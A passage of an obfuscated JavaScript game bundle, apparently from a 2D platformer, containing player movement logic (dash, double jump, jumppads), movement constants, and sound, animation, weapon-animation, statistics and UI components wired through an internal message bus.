this['store']['update']('lookDirection', _0x48ab00); } ['updateHorizontalMovement'](_0x142483) { const _0x3a2b3b = this['store']['get']('actionControlsState'), _0x336d5f = this['store']['get']('dashesRemaining'), _0x1548ae = this['store']['get']('isGrounded'), _0x2fbcce = this['store']['get']('dashRequestRegistered'), _0x193a8b = (0x0, _0x2dd6de['isFacingLeft'])(this['store']['get']('lookDirection')); let _0x527bb4 = this['store']['get']('dashCooldownLeftMS'); switch (_0x527bb4 > 0x0 && (_0x527bb4 = Math['max'](_0x527bb4 - 0x3e8 * _0x142483, 0x0), this['store']['update']('dashCooldownLeftMS', _0x527bb4)), this['store']['get']('horizontalState')) { case 'IDLE': case 'MOVEMENT': _0x3a2b3b['right'] && !_0x3a2b3b['left'] ? (this['store']['update']('horizontalState', 'MOVEMENT'), this['maybePerformHorizontalMovement'](new _0x1216dd['Vector'](_0x5d289d['MAX_X_MOVEMENT_SPEED'], 0x0), _0x142483)) : _0x3a2b3b['left'] && !_0x3a2b3b['right'] ? (this['store']['update']('horizontalState', 'MOVEMENT'), this['maybePerformHorizontalMovement'](new _0x1216dd['Vector'](-_0x5d289d['MAX_X_MOVEMENT_SPEED'], 0x0), _0x142483)) : this['store']['update']('horizontalState', 'IDLE'), _0x3a2b3b['dash'] && _0x336d5f > 0x0 && _0x527bb4 <= 0x0 && !_0x2fbcce && (this['component']['body']['setGravityScale'](0x0, !0x0), this['component']['body']['setLinvel'](new _0x1216dd['Vector'](0x0, 0x0), !0x0), this['config']['enableDashThroughEnemies'] && this['component']['removeBodyCollisionGroup'](_0x172356['PhysicsConfig']['COLLISION_GROUPS']['ENEMY']), this['config']['enableDashThroughProjectiles'] && this['component']['removeBodyCollisionGroup'](_0x172356['PhysicsConfig']['COLLISION_GROUPS']['ENEMY_PROJECTILE']), this['store']['update']('dashesRemaining', this['store']['get']('dashesRemaining') - 0x1), this['store']['update']('dashDurationLeftMS', _0x5d289d['DASH_DURATION_MS']), this['store']['update']('dashCooldownLeftMS', _0x5d289d['DASH_COOLDOWN_MS']), this['store']['update']('dashRequestRegistered', !0x0), this['store']['update']('movementLockoutLeftMS', 0x0), this['store']['update']('rotationLockoutLeftMS', 0x0), this['updateLookDirection'](), this['store']['update']('horizontalState', 'DASH'), this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'characterDash', 'position': this['store']['get']('renderPosition') }, 'getPosition': () => this['store']['get']('renderPosition') })), _0x3a2b3b['dash'] && !_0x1548ae && this['store']['update']('dashRequestRegistered', !0x0), !_0x3a2b3b['dash'] && _0x2fbcce && (_0x40f25c['log']['debug']('dash\x20released', 'movementController'), this['store']['update']('dashRequestRegistered', !0x1)), _0x1548ae && _0x336d5f < this['config']['maxDashCount'] && this['store']['update']('dashesRemaining', this['config']['maxDashCount']); break; case 'DASH': { this['store']['update']('dashDurationLeftMS', Math['max'](this['store']['get']('dashDurationLeftMS') - 0x3e8 * _0x142483, 0x0)); const _0x3450dd = _0x193a8b ? -0x1 : 0x1; this['maybePerformHorizontalMovement'](new _0x1216dd['Vector'](_0x5d289d['DASH_X_MOVEMENT_SPEED'] * _0x3450dd, 0x0), _0x142483), this['store']['get']('dashDurationLeftMS') <= 0x0 && this['store']['update']('horizontalState', 'DASH_END'); break; } case 'DASH_END': this['handleDashEnd'](); break; case 'JUMPPAD_JUMP_BEGINS': this['config']['enableDashThroughEnemies'] && this['component']['addBodyCollisionGroup'](_0x172356['PhysicsConfig']['COLLISION_GROUPS']['ENEMY']), this['config']['enableDashThroughProjectiles'] && this['component']['addBodyCollisionGroup'](_0x172356['PhysicsConfig']['COLLISION_GROUPS']['ENEMY_PROJECTILE']), this['store']['update']('dashDurationLeftMS', 0x0), this['store']['update']('dashesRemaining', this['config']['maxDashCount']), this['store']['update']('jumpsRemaining', this['config']['maxJumpCount']), this['store']['update']('horizontalState', 'JUMPPAD_JUMP'), this['component']; break; case 'JUMPPAD_JUMP': this['store']['update']('horizontalMovementLockoutDurationLeftMS', Math['max'](this['store']['get']('horizontalMovementLockoutDurationLeftMS') - 0x3e8 * _0x142483, 0x0)), this['store']['get']('horizontalMovementLockoutDurationLeftMS') <= 0x0 && (this['store']['update']('horizontalState', 'IDLE'), this['store']['update']('verticalState', 'FALL')); } } ['updateVerticalMovement'](_0x16d3b6) { const _0x484ebc = this['store']['get']('actionControlsState'), _0x55f592 = this['store']['get']('jumpsRemaining'), _0x3940d8 = this['store']['get']('isGrounded'), _0x26e848 = this['store']['get']('jumpRequestRegistered'), _0x422ced = this['store']['get']('lastGroundedTime'), _0x15496a = this['gameContext']['timeProvider']['currentEngineTime'] - _0x422ced < _0x5d289d['GROUNDED_LEEWAY_TIME_MS']; switch (_0x484ebc['jump'] && !_0x26e848 && _0x55f592 > 0x0 && (_0x40f25c['log']['debug'](this['store']['get']('verticalState') + '\x20->\x20JUMP_BEGINS', 'movementController'), this['store']['update']('verticalState', 'JUMP_BEGINS'), this['store']['get']('horizontalState')['includes']('JUMPPAD') && this['store']['update']('horizontalState', 'IDLE')), _0x484ebc['jump'] && !_0x3940d8 && this['store']['update']('jumpRequestRegistered', !0x0), !_0x484ebc['jump'] && _0x26e848 && (_0x40f25c['log']['debug']('jump\x20released', 'movementController'), this['store']['update']('jumpRequestRegistered', !0x1)), _0x3940d8 && this['store']['update']('lastGroundedTime', _0x26e848 ? -0x1 / 0x0 : this['gameContext']['timeProvider']['currentEngineTime']), this['store']['get']('verticalState')) { case 'IDLE': _0x3940d8 && _0x55f592 < this['config']['maxJumpCount'] ? (this['store']['update']('jumpsRemaining', this['config']['maxJumpCount']), _0x40f25c['log']['debug']('jumps\x20restored', 'movementController')) : _0x3940d8 || _0x15496a || (_0x40f25c['log']['debug']('IDLE\x20->\x20IDLE_DROP', 'movementController'), this['store']['update']('verticalState', 'IDLE_DROP')); break; case 'JUMP_BEGINS': this['store']['get']('horizontalState')['includes']('DASH') && this['handleDashEnd'](), _0x40f25c['log']['debug']('JUMP_BEGINS\x20->\x20JUMP', 'movementController'), this['store']['update']('cancelJumpLockoutDurationLeftMS', _0x5d289d['CANCEL_JUMP_LOCKOUT_DURATION_MS']), this['store']['update']('verticalState', 'JUMP'), this['store']['update']('jumpRequestRegistered', !0x0), _0x40f25c['log']['debug']('jump\x20subtracted\x20due\x20to\x20initiating\x20jump\x20(jump\x20begins\x20->\x20jump)', 'movementController'), this['performJump'](); break; case 'JUMP': { if (this['store']['get']('horizontalState')['includes']('JUMPPAD')) return; this['component']['get']()['linvel']()['y'] > _0x5d289d['FALL_SPEED_TRIGGER'] && (_0x40f25c['log']['debug']('JUMP\x20->\x20FALL', this['component']['get']()['linvel']()['y'], 'movementController'), this['store']['update']('verticalState', 'FALL')); const _0x5c9664 = this['store']['get']('cancelJumpLockoutDurationLeftMS') > 0x0; _0x484ebc['jump'] || _0x5c9664 || this['cancelJump'](), !_0x3940d8 && !_0x15496a || _0x26e848 || this['store']['update']('verticalState', 'IDLE'), this['store']['update']('cancelJumpLockoutDurationLeftMS', Math['max'](this['store']['get']('cancelJumpLockoutDurationLeftMS') - 0x3e8 * _0x16d3b6, 0x0)); break; } case 'IDLE_DROP': _0x40f25c['log']['debug']('IDLE_DROP\x20->\x20FALL', 'movementController'), this['store']['update']('verticalState', 'FALL'), this['store']['update']('jumpsRemaining', _0x55f592 - 0x1), _0x40f25c['log']['debug']('jump\x20subtracted\x20due\x20to\x20fall\x20begin\x20(idle\x20->\x20fall\x20begins)', 'movementController'); break; case 'FALL': _0x3940d8 && (_0x40f25c['log']['debug']('FALL\x20->\x20IDLE', 'movementController'), this['store']['update']('verticalState', 'IDLE'), this['store']['update']('jumpsRemaining', this['config']['maxJumpCount']), _0x40f25c['log']['debug']('jumps\x20restored', 'movementController')); } } ['maybePerformHorizontalMovement'](_0x8e0a1, _0x459347) { if (this['store']['get']('movementLockoutLeftMS') > 0x0) return; const _0x55c968 = _0x172356['PhysicsConfig']['COLLISION_GROUPS']['GROUND'], _0x30640a = this['store']['get']('sensorCollisionState')[_0x6a031['ESensorName']['LEFT']], _0x277a05 = this['store']['get']('sensorCollisionState')[_0x6a031['ESensorName']['RIGHT']], _0x286dd5 = _0x8e0a1['x'] < 0x0, _0x34f5c8 = _0x8e0a1['x'] > 0x0; _0x30640a && _0x286dd5 && (_0x8e0a1['x'] = 0x0), _0x277a05 && _0x34f5c8 && (_0x8e0a1['x'] = 0x0), _0x8e0a1 = (0x0, _0x1216dd['scale'])(_0x8e0a1, _0x459347); const _0x57c3f8 = this['component']['get']()['collider'](0x0); this['config']['characterController']['computeColliderMovement'](_0x57c3f8, _0x8e0a1, void 0x0, _0x55c968); const _0x1b3ed2 = this['config']['characterController']['computedMovement'](), _0x1b8e5c = this['component']['get']()['translation'](), _0x4ce775 = (0x0, _0x1216dd['add'])(_0x1b8e5c, _0x1b3ed2); this['component']['get']()['setTranslation'](_0x4ce775, !0x0); } ['performJump']() { const _0x4b374e = this['component']['get']()['linvel'](), _0x3f8c9c = new _0x279a63['default']['Vector2'](_0x4b374e['x'], -_0x5d289d['JUMP_FORCE']); this['component']['get']()['setLinvel'](_0x3f8c9c, !0x0); const _0x50fa5f = this['store']['get']('isGrounded'); this['store']['update']('jumpsRemaining', this['store']['get']('jumpsRemaining') - 0x1); const _0xb896d0 = _0x50fa5f ? 'characterJump' : 'characterDoubleJump'; this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': _0xb896d0, 'position': this['store']['get']('renderPosition') }, 'getPosition': () => this['store']['get']('renderPosition') }); } ['cancelJump']() { const _0x3c45df = this['component']['get']()['linvel'](); if (_0x3c45df['y'] < 0x0) { const _0x52b646 = new _0x279a63['default']['Vector2'](_0x3c45df['x'], 0.4 * _0x3c45df['y']); this['component']['get']()['setLinvel'](_0x52b646, !0x0); } } ['maybeCancelJumpDueToExternalImpulse']() { 'JUMP' === this['store']['get']('verticalState') && this['store']['update']('verticalState', 'FALL'); } ['handleRecoil'](_0x28ab56) { if (!_0x28ab56) return; const _0x4e3b46 = Math['abs'](_0x28ab56['impulse']['x']) < Math['abs'](_0x28ab56['impulse']['y']), _0x5eb1f3 = _0x28ab56['targetIsEnemy']; _0x4e3b46 && _0x5eb1f3 && (this['store']['update']('jumpsRemaining', this['config']['maxJumpCount'] - 0x1), this['store']['update']('dashesRemaining', this['config']['maxDashCount'])); } ['getLookDirection'](_0x165917, _0x27d608) { for (const _0x509730 of _0x2af50c) if (_0x509730['condition'](_0x165917, _0x27d608)) return _0x509730['result']; } ['maybeInitiateJumppadJump'](_0x52a0a9) { if (this['store']['get']('horizontalState')['includes']('JUMPPAD')) return; const _0x45acdf = _0x52a0a9[_0x6a031['ESensorName']['CENTER']]; _0x45acdf?.['forEach'](_0x2decea => { if (!_0x2decea) return; const _0x2c0f3e = _0x2decea['parent'](); if (!_0x2c0f3e) return; const _0x4c21e2 = _0x2c0f3e['userData']; if ('JUMPPAD' !== _0x4c21e2?.['customInfo']?.['type']) return; const _0x18b777 = _0x4c21e2['customInfo']; this['store']['update']('horizontalMovementLockoutDurationLeftMS', _0x18b777['horizontalMovementLockDurationMS']), this['store']['update']('horizontalState', 'JUMPPAD_JUMP_BEGINS'), this['performJumppadJump'](_0x18b777); }); } ['performJumppadJump'](_0xfecb30) { this['component']['get']()['setGravityScale'](0x1, !0x0), this['component']['get']()['setLinvel']({ 'x': 0x0, 'y': 0x0 }, !0x1); const _0x122acc = _0x1055f0['default']['degToRad'](_0xfecb30['degAngle'] - 0x5a), _0x4197b7 = _0xfecb30['force'], _0x1892bb = Math['cos'](_0x122acc) * _0x4197b7, _0x3a3326 = Math['sin'](_0x122acc) * _0x4197b7; this['component']['get']()['applyImpulse']({ 'x': _0x1892bb, 'y': _0x3a3326 }, !0x0), this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'characterJumppadJump', 'position': this['store']['get']('renderPosition') }, 'getPosition': () => this['store']['get']('renderPosition') }); } ['maybeCauseFallDamage'](_0x3f0af5, _0x42e509) { if (!_0x5d289d['FALL_DAMAGE_ENABLED']) return; const _0x4b1a1a = (0x0, _0x2daa88['isGrounded'])(_0x3f0af5, this['config']['groundTags']), _0x560924 = (0x0, _0x2daa88['isGrounded'])(_0x42e509, this['config']['groundTags']), _0x366025 = this['store']['get']('hp') > 0x0; Math['abs'](this['store']['get']('currentPerceivedSpeed')['y']) > _0x5d289d['DAMAGE_FALL_SPEED'] && !_0x4b1a1a && _0x560924 && _0x366025 && this['store']['update']('hp', this['store']['get']('hp') - 0x1); } ['handleDashEnd']() { this['component']['body']['setGravityScale'](0x1, !0x0), this['component']['body']['setLinvel'](new _0x1216dd['Vector'](0x0, 0x0), !0x0), this['store']['update']('horizontalState', 'IDLE'), this['config']['enableDashThroughEnemies'] && this['component']['addBodyCollisionGroup'](_0x172356['PhysicsConfig']['COLLISION_GROUPS']['ENEMY']), this['config']['enableDashThroughProjectiles'] && this['component']['addBodyCollisionGroup'](_0x172356['PhysicsConfig']['COLLISION_GROUPS']['ENEMY_PROJECTILE']); } ['resetMovement']() { this['component']['get']()['setGravityScale'](0x1, !0x0), this['store']['update']('horizontalState', 'IDLE'), this['store']['update']('verticalState', 'IDLE'), this['store']['update']('jumpsRemaining', this['config']['maxJumpCount']), this['store']['update']('dashesRemaining', this['config']['maxDashCount']), this['store']['update']('dashDurationLeftMS', 0x0), this['store']['update']('horizontalMovementLockoutDurationLeftMS', 0x0), this['store']['update']('currentPerceivedSpeed', { 'x': 0x0, 'y': 0x0 }); } } _0x5b4073['PlayerMovementController'] = _0x5a75fc; }, 0x110d: (_0x11040c, _0x4bedce) => { 'use strict'; Object['defineProperty'](_0x4bedce, '__esModule', { 'value': !0x0 }), _0x4bedce['playerMovementModel'] = _0x4bedce['DAMAGE_FALL_SPEED'] = _0x4bedce['DASH_COOLDOWN_MS'] = _0x4bedce['FALL_DAMAGE_ENABLED'] = _0x4bedce['VELOCITY_THRESHOLD'] = _0x4bedce['FALL_SPEED_TRIGGER'] = _0x4bedce['JUMP_FORCE'] = _0x4bedce['DASH_DURATION_MS'] = _0x4bedce['DASH_X_MOVEMENT_SPEED'] = _0x4bedce['MAX_X_MOVEMENT_SPEED'] = _0x4bedce['CANCEL_JUMP_LOCKOUT_DURATION_MS'] = _0x4bedce['GROUNDED_LEEWAY_TIME_MS'] = void 0x0, _0x4bedce['GROUNDED_LEEWAY_TIME_MS'] = 0x64, _0x4bedce['CANCEL_JUMP_LOCKOUT_DURATION_MS'] = 0xc8, _0x4bedce['MAX_X_MOVEMENT_SPEED'] = 0x14, _0x4bedce['DASH_X_MOVEMENT_SPEED'] = 0x3c, _0x4bedce['DASH_DURATION_MS'] = 0xfa, _0x4bedce['JUMP_FORCE'] = 0x27, _0x4bedce['FALL_SPEED_TRIGGER'] = 0.005, _0x4bedce['VELOCITY_THRESHOLD'] = 0.1, _0x4bedce['FALL_DAMAGE_ENABLED'] = !0x1, _0x4bedce['DASH_COOLDOWN_MS'] = 0x258, _0x4bedce['DAMAGE_FALL_SPEED'] = 0x46, _0x4bedce['playerMovementModel'] = { 'jumpRequestRegistered': !0x1, 'dashRequestRegistered': !0x1, 'lastGroundedTime': 0x0, 'maxJumpCount': 0x0, 'maxDashCount': 0x0, 'jumpsRemaining': 0x0, 'dashesRemaining': 0x0, 'dashDurationLeftMS': 0x0, 'dashCooldownLeftMS': 0x0, 'horizontalMovementLockoutDurationLeftMS': 0x0, 'cancelJumpLockoutDurationLeftMS': 0x0, 'verticalState': 'IDLE', 'horizontalState': 'IDLE' }; }, 0x12a: (_0xa7a207, _0x9db74c, _0x53ba63) => { 'use strict'; Object['defineProperty'](_0x9db74c, '__esModule', { 'value': !0x0 }), _0x9db74c['PlayerSoundComponent'] = void 0x0; const _0x1ac0d8 = _0x53ba63(0x2414); class _0x5c61b5 extends _0x1ac0d8['ActorComponent']{ ['init']() { this['store']['subscribe']('renderPosition', ({ oldValue: _0x31733c, newValue: _0x4e61df }) => { this['gameMessageBus']['publish']('setListenerPosition', { 'x': _0x4e61df['x'], 'y': _0x4e61df['y'] }); }), this['gameMessageBus']['subscribe'](this, 'dialogueHasStarted', ({ dialogueConfigPath: _0x3d7cfc }) => { const _0x17eec4 = this['gameContext']['getDialogueConfig'](_0x3d7cfc); _0x17eec4['initialSound'] && this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': _0x17eec4['initialSound'], 'position': this['store']['get']('renderPosition') }, 'getPosition': () => this['store']['get']('renderPosition') }); }), this['gameMessageBus']['subscribe'](this, 'dialogueHasEnded', ({ dialogueConfigPath: _0x3e7e6a }) => { const _0x532759 = this['gameContext']['getDialogueConfig'](_0x3e7e6a); _0x532759['finalSound'] && this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': _0x532759['finalSound'], 'position': this['store']['get']('renderPosition') }, 'getPosition': () => this['store']['get']('renderPosition') }); }), this['gameMessageBus']['subscribe'](this, 'dialogueMessageHasStarted', ({ dialogueConfigPath: _0x38855a, messageIndex: _0x21a8b7 }) => { const _0xb955a6 = this['gameContext']['getDialogueConfig'](_0x38855a)['messages'][_0x21a8b7]; _0xb955a6['messageSound'] && this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': _0xb955a6['messageSound'], 'position': this['store']['get']('renderPosition') }, 'getPosition': () => this['store']['get']('renderPosition') }); }), this['store']['subscribe']('hp', ({ oldValue: _0x5525f3, newValue: _0xfb65e4 }) => { _0x5525f3 > _0xfb65e4 && (_0xfb65e4 > 0x0 ? this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'characterHurt', 'position': { 'x': 0x0, 'y': 0x0 } }, 'getPosition': () => this['store']['get']('renderPosition') }) : 0x0 === _0xfb65e4 && this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'characterDies', 'position': { 'x': 0x0, 'y': 0x0 } }, 'getPosition': () => this['store']['get']('renderPosition') })); }); } } _0x9db74c['PlayerSoundComponent'] = _0x5c61b5; }, 0x1d7f: (_0x9a74a5, _0x1be735, _0x4972c1) => { 'use strict'; Object['defineProperty'](_0x1be735, '__esModule', { 'value': !0x0 }), _0x1be735['PlayerSpritesheetAnimationController'] = void 0x0; const _0x1541d8 = _0x4972c1(0x1520), _0x1e619e = _0x4972c1(0x1805), _0x3f17a9 = [_0x1e619e['EPlayerActorState']['PLAYER_CONTROL'], _0x1e619e['EPlayerActorState']['WALKING_IN'], _0x1e619e['EPlayerActorState']['WALKING_OUT']]; class _0x11c14a extends _0x1541d8['ComponentController']{ constructor(_0x3b74d7) { super(_0x3b74d7); } ['init']() { this['gameMessageBus']['subscribe'](this, 'dialogueHasStarted', () => { this['component']['play']({ 'animationName': this['config']['animationMap']['idle'] ?? this['config']['noAnimationName'], 'restartAnimationIfPlaying': !0x1 }); }); } ['update'](_0x29b075) { this['store']['get']('hp') <= 0x0 || _0x3f17a9['includes'](this['store']['get']('playerActorState')) && (this['store']['get']('stunTimeMS') > 0x0 ? this['component']['play']({ 'animationName': this['config']['animationMap']['stun'] ?? this['config']['noAnimationName'] }) : this['updateMovementAnimation']()); } ['updateMovementAnimation']() { const _0x33399d = 'DASH' === this['store']['get']('horizontalState'), _0x4d436d = 'MOVEMENT' === this['store']['get']('horizontalState'), _0x1a7c6b = [_0x1e619e['EPlayerActorState']['WALKING_IN'], _0x1e619e['EPlayerActorState']['WALKING_OUT']]['includes'](this['store']['get']('playerActorState')), _0x376ea2 = _0x4d436d || _0x1a7c6b, _0x455c65 = this['isAttackingOrCharging'](), _0x3a16a0 = this['store']['get']('isGrounded'); _0x33399d ? this['component']['play']({ 'animationName': this['config']['animationMap']['dash'] ?? this['config']['noAnimationName'] }) : (_0x376ea2 && !_0x455c65 && this['selectMovementXAnimation'](_0x3a16a0), _0x376ea2 || !_0x3a16a0 || _0x455c65 || this['selectIdleAnimation'](), _0x455c65 || this['selectMovementYAnimation'](_0x3a16a0)); } ['selectIdleAnimation']() { this['component']['play']({ 'animationName': this['config']['animationMap']['idle'] ?? this['config']['noAnimationName'], 'restartAnimationIfPlaying': !0x1 }); } ['selectMovementXAnimation'](_0x4976a3) { const _0x5b8c2f = this['store']['get']('currentPerceivedSpeed'), _0x1210ec = Math['min'](Math['abs'](_0x5b8c2f['x']), 0x3e8); _0x4976a3 && (_0x1210ec > 2.5 ? this['component']['play']({ 'animationName': this['config']['animationMap']['run'] ?? this['config']['noAnimationName'], 'restartAnimationIfPlaying': !0x1 }) : this['selectIdleAnimation']()); } ['selectMovementYAnimation'](_0x4b3c55) { const _0x3f55b9 = this['store']['get']('verticalState')['includes']('JUMP'), _0x2f1d70 = this['store']['get']('jumpsRemaining') > 0x0; _0x3f55b9 && _0x2f1d70 ? this['component']['play']({ 'animationName': this['config']['animationMap']['jump'] ?? this['config']['noAnimationName'], 'restartAnimationIfPlaying': !0x1 }) : _0x3f55b9 && !_0x2f1d70 ? this['component']['play']({ 'animationName': this['config']['animationMap']['doubleJump'] ?? this['config']['noAnimationName'], 'restartAnimationIfPlaying': !0x1 }) : _0x3f55b9 || _0x4b3c55 || this['component']['play']({ 'animationName': this['config']['animationMap']['fall'] ?? this['config']['noAnimationName'], 'restartAnimationIfPlaying': !0x1 }); } ['isAttackingOrCharging']() { const _0x49152c = this['component']['getCurrentAnimationName']()['toLowerCase']()['includes']('charg'), _0x5ab92a = this['component']['getCurrentAnimationName']()['toLowerCase']()['includes']('attack'); return _0x49152c || _0x5ab92a; } } _0x1be735['PlayerSpritesheetAnimationController'] = _0x11c14a; }, 0x256: (_0x2d552e, _0x2dca22, _0x428fbf) => { 'use strict'; Object['defineProperty'](_0x2dca22, '__esModule', { 'value': !0x0 }), _0x2dca22['PlayerSpritesheetAnimationLifeController'] = _0x2dca22['TELEPORT_IN_ANIMATION_DURATION_MS'] = void 0x0; const _0x18a808 = _0x428fbf(0x1520), _0x4c46b7 = _0x428fbf(0x1805); _0x2dca22['TELEPORT_IN_ANIMATION_DURATION_MS'] = 0x7d0; class _0xf65743 extends _0x18a808['ComponentController']{ constructor(_0x127ce9) { super(_0x127ce9); } ['postInit']() { this['setupAppearanceAnimation'](), this['setupDeathAnimation'](); } ['setupDeathAnimation']() { this['gameMessageBus']['subscribe'](this, 'playerDead', () => { this['component']['play']({ 'animationName': this['config']['animationMap']['dead'] ?? this['config']['noAnimationName'] }), this['gameContext']['timeProvider']['delayAction'](() => { this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'scifi/flash_weak', 'position': this['store']['get']('renderPosition') }); }, 0x320); }); } async['setupAppearanceAnimation']() { this['config']['appearanceMethod'] === _0x4c46b7['EPlayerAppearanceMethod']['TELEPORT'] && (this['component']['play']({ 'animationName': this['config']['noAnimationName'] }), await this['gameContext']['timeProvider']['delayPromise'](this['config']['appearanceDurationMS']), this['component']['play']({ 'animationName': this['config']['animationMap']['respawn'] ?? this['config']['noAnimationName'] }), this['gameContext']['timeProvider']['delayAction'](() => { this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'scifi/flash_strong', 'position': this['store']['get']('renderPosition') }); }, 0xc8)); } } _0x2dca22['PlayerSpritesheetAnimationLifeController'] = _0xf65743; }, 0x19be: (_0x6c5b10, _0x4dc053, _0x2f14bb) => { 'use strict'; Object['defineProperty'](_0x4dc053, '__esModule', { 'value': !0x0 }), _0x4dc053['PlayerSpritesheetAnimationWeaponController'] = void 0x0; const _0x29f76f = _0x2f14bb(0x1520), _0x57efe4 = _0x2f14bb(0x1805), _0x27b45f = { 'sword_1': { 'groundAttack': 'basicAttack1', 'airAttack': 'basicAttack1' }, 'sword_2': { 'groundAttack': 'basicAttack2', 'airAttack': 'basicAttack2' }, 'sword_3': { 'groundAttack': 'basicAttack3', 'airAttack': 'basicAttack3' }, 'special1_short_no_effect': { 'groundAttack': 'groundSpecialAttack1ShortNoEffect', 'airAttack': 'airSpecialAttack1ShortNoEffect' }, 'special1_no_effect': { 'groundAttack': 'groundSpecialAttack1NoEffect', 'airAttack': 'airSpecialAttack1NoEffect' }, 'special2_no_effect': { 'groundAttack': 'basicAttackDownstrikeNoEffect', 'airAttack': 'basicAttackDownstrikeNoEffect' }, 'special1_no_effect_up': { 'groundAttack': 'basicAttackUpstrikeGroundedNoEffect', 'airAttack': 'basicAttackUpstrikeNoEffect' }, 'special1_no_effect_down': { 'groundAttack': 'basicAttackDownstrikeNoEffect', 'airAttack': 'airSpecialAttack1NoEffect' }, 'sword_1_vertical_up': { 'groundAttack': 'basicAttackUpstrikeGrounded', 'airAttack': 'basicAttackUpstrike' }, 'sword_1_vertical_down': { 'groundAttack': 'basicAttackDownstrike', 'airAttack': 'basicAttackDownstrike' }, 'sword_dash': { 'groundAttack': 'dashAttack', 'airAttack': 'dashAttack' } }; class _0x4f56e6 extends _0x29f76f['ComponentController']{ constructor(_0x436d7b) { super(_0x436d7b); } ['init']() { this['store']['subscribe']('stunTimeMS', ({ oldValue: _0x27afbf, newValue: _0x3f416e }) => this['maybeCancelCharge'](_0x27afbf, _0x3f416e)), this['messageBus']['subscribe'](this, 'attackPhaseStarts', _0xd6371c => { this['config']['extendedLogsEnabled'], this['maybePlayAnimation'](!0x0); }); } ['update'](_0xaf852c) { this['store']['get']('hp') <= 0x0 || this['store']['get']('playerActorState') === _0x57efe4['EPlayerActorState']['PLAYER_CONTROL'] && 'OPERATING' === this['store']['get']('weaponActivityState') && this['maybePlayAnimation'](!0x1); } ['maybePlayAnimation'](_0x5e2db5) { const _0x4f6c31 = this['store']['get']('currentWeaponName'); if (!_0x4f6c31) return; const _0x301ba5 = this['gameContext']['getWeaponConfig'](_0x4f6c31)['attackConfigs'][this['store']['get']('currentPhaseIndex')]; _0x301ba5 && _0x301ba5['phaseAnimation'] && this['selectAnimation'](_0x301ba5, _0x5e2db5); } ['selectAnimation'](_0x569afe, _0x15dd17) { const _0x40a332 = this['store']['get']('isGrounded'), _0x517867 = _0x27b45f[_0x569afe['phaseAnimation'] || _0x569afe['name']], _0x45512a = _0x40a332 ? _0x517867['groundAttack'] : _0x517867['airAttack']; if (!_0x45512a) return; const _0x51619e = this['config']['animationMap'][_0x45512a] ?? this['config']['noAnimationName']; this['component']['play']({ 'animationName': _0x51619e, 'loop': !0x1, 'restartAnimationIfPlaying': _0x569afe['restartPhaseAnimationOnFire'] && _0x15dd17 }); } ['maybeCancelCharge'](_0x24e0eb, _0x564271) { this['store']['get']('hp') <= 0x0 || _0x24e0eb > 0x0 || _0x564271 <= 0x0 || this['component']['getCurrentAnimationName']()['includes']('fx') && this['component']['stop'](); } } _0x4dc053['PlayerSpritesheetAnimationWeaponController'] = _0x4f56e6; }, 0x1013: (_0x760591, _0x347a92, _0x247333) => { 'use strict'; Object['defineProperty'](_0x347a92, '__esModule', { 'value': !0x0 }), _0x347a92['PlayerStatisticsComponent'] = void 0x0; const _0x33d3d4 = _0x247333(0x2414), _0x14891a = _0x247333(0x1a95); class _0x405958 extends _0x33d3d4['ActorComponent']{ ['init']() { this['messageBus']['subscribe'](this, 'weaponSuccessfullyFired', _0x44d780 => this['onweaponSuccessfullyFired'](_0x44d780)), this['gameMessageBus']['subscribe'](this, 'pickupAction', _0x57bda4 => this['onPickupAction'](_0x57bda4)), this['store']['subscribe']('hp', ({ oldValue: _0x503462, newValue: _0x48642d }) => this['onHpChange'](_0x503462, _0x48642d)); } ['onHpChange'](_0x33718c, _0x41667b) { if (_0x33718c === _0x41667b) return; const _0x599997 = this['store']['get']('renderPosition'), _0x281ad8 = this['store']['get']('lastDamagingActor'), _0x215f0 = _0x281ad8?.['getConfig'](), _0x2f000f = this['store']['get']('lastDamagingActorOwner'), _0x580ded = _0x2f000f?.['getConfig'](); this['gameMessageBus']['publish']('addGameStatisticsEvent', { 'type': _0x14891a['EGameStatisticsEventType']['PLAYER_HEALTH_CHANGE'], 'data': { 'value': _0x41667b - _0x33718c, 'sourceActorConfigName': _0x215f0?.['projectileType'] ?? _0x215f0?.['name'], 'sourceActorOwnerConfigName': _0x580ded?.['enemyConfigPath'] ?? _0x580ded?.['name'] }, 'position': { 'x': _0x599997['x'], 'y': _0x599997['y'] } }), _0x41667b > 0x0 || this['gameMessageBus']['publish']('addGameStatisticsEvent', { 'type': _0x14891a['EGameStatisticsEventType']['PLAYER_DEAD'], 'data': { 'sourceActorConfigName': _0x580ded?.['enemyConfigPath'] ?? _0x580ded?.['name'] }, 'position': { 'x': _0x599997['x'], 'y': _0x599997['y'] } }); } ['onweaponSuccessfullyFired'](_0x47e0d0) { const _0x2f40c7 = this['store']['get']('renderPosition'); this['gameMessageBus']['publish']('addGameStatisticsEvent', { 'type': _0x14891a['EGameStatisticsEventType']['PLAYER_ATTACK_USE'], 'data': { 'weaponName': _0x47e0d0 }, 'position': { 'x': _0x2f40c7['x'], 'y': _0x2f40c7['y'] } }); } ['onPickupAction'](_0x596ce6) { const _0x300465 = this['store']['get']('renderPosition'); this['gameMessageBus']['publish']('addGameStatisticsEvent', { 'type': _0x14891a['EGameStatisticsEventType']['INVENTORY_CHANGE'], 'data': { 'itemName': _0x596ce6['type'], 'value': _0x596ce6['value'] }, 'position': { 'x': _0x300465['x'], 'y': _0x300465['y'] } }); } } _0x347a92['PlayerStatisticsComponent'] = _0x405958; }, 0xd98: (_0x3835f0, _0x17958f, _0x4bfd59) => { 'use strict'; Object['defineProperty'](_0x17958f, '__esModule', { 'value': !0x0 }), _0x17958f['PlayerUiComponent'] = void 0x0; const _0x36fc20 = _0x4bfd59(0x2414); class _0x2772a4 extends _0x36fc20['ActorComponent']{ ['init']() { this['store']['subscribe']('hp', ({ oldValue: _0x185e05, newValue: _0x4a3283 }) => this['onHpChange'](_0x4a3283)), this['store']['subscribe']('maxHp', ({ oldValue: _0x180c44, newValue: _0x2af2d7 }) => this['onHpChange'](this['store']['get']('hp'))), 